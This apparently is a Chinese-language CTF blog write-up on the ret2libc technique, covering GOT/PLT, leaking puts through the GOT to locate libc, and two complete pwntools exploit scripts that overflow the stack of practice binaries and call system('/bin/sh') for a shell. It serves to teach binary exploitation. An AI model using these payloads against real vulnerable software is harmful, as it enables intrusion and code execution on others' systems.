pwn动态链接库

pwn动态链接库

在众多ROP方法中,重点是要找到system函数的地址来进行ROP,而有的elf源文件中并没有system函数,这时就可以利用libc

system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。

即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。

所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

为了得到libc中某函数的地址,多数采用 got 表泄露,即输出某个函数对应的 got 表项的内容。

当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

got&plt表

获取数据段存放函数地址的那一小段代码称为PLT(Procedure Linkage Table)过程链接表

存放函数地址的数据段称为GOT(Global Offset Table)全局偏移表

当操作系统执行到scanf函数时,一般的调用即为:call scanf —> scanf的plt表 —>scanf的got表

即间接寻址可简化为下图

ctfWiki ret2libc3

分析

先分析保护

反汇编

可以看出,源程序仍旧开启了堆栈不可执行保护。进而查看源码,发现程序的 bug 仍然是栈溢出

此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。

这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下

  • 泄露 __libc_start_main 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)

下面逐步分析

首先利用程序中的puts函数可以打印我们需要的东西,且puts也是程序必然会使用的函数,即我们可以利用泄露puts的地址来计算system函数的地址。

故利用gets函数的栈溢出漏洞,覆盖gets函数的返回地址为puts,puts的返回地址为_start函数(因为我们需要执行程序两次,第一次泄露libc,第二次执行ROP),puts的参数为puts函数的got表

通过gdb调试得知需要覆盖112个字符(含ebp)

则得出payload1

payload1 = "zbrnb".ljust(112,'a')  + p32(puts_plt) + p32(start_addr) + p32(puts_got)

之后程序便会打印出puts的got表,使用u32解包

之后libc.address即为得到的地址减去libc.symbols['puts']

即得到payload2

payload2 = "zbrnb".ljust(112,'b') + p32(system_addr) + 'aaaa' + p32(binsh_addr)

exp

#ctfWiki上的给的exp在本地跑不通,我也不知道为啥
#这是一个可以本地跑通的脚本

from pwn import *
sh = process('./ret2libc3')
elf = ELF('./ret2libc3')
libc = elf.libc

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols['_start']

payload = 'A' * 112 + p32(puts_plt) + p32(start_addr) + p32(puts_got)

sh.sendlineafter("Can you find it !?", payload)
puts_addr = u32(sh.recv(4)) #32位程序,地址占4个字节

libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search('/bin/sh'))

payload2 = 'B' * 112 + p32(system_addr) + 'CCCC' + p32(binsh_addr)
sh.sendline(payload2)
sh.interactive()

USCTF ret2libc

分析

反汇编寻找泄漏点

即发现puts函数可作为泄露函数

栈溢出覆盖read的返回地址,得到payload1

再有ida寻找到main函数的地址

payload1='a'*112+p32(elf.plt['puts'])+p32(main)+p32(elf.got['puts'])

之后接收puts的地址,由LibcSearcher包提供的方法找到对应libc版本

libc =LibcSearcher('puts',puts)  #需要from LibcSearcher import *

随后计算偏移量得到paylod2

payload2=payload='a'*112+p32(system)+"aaaa"+p32(bin_sh)

即可得到shell

exp

from pwn import *
from LibcSearcher import *

p=process('./pwn')
elf=ELF('./pwn')
main=0x80484FD
payload='a'*112+p32(elf.plt['puts'])+p32(main)+p32(elf.got['puts'])

p.recvuntil('try\n')
p.sendline(payload)
puts=u32(p.recv(4))

libc = LibcSearcher('puts',puts)

libcbase=puts-libc.dump('puts')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')

payload='a'*104+p32(system)+"aaaa"+p32(bin_sh)
p.sendline(payload)
p.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇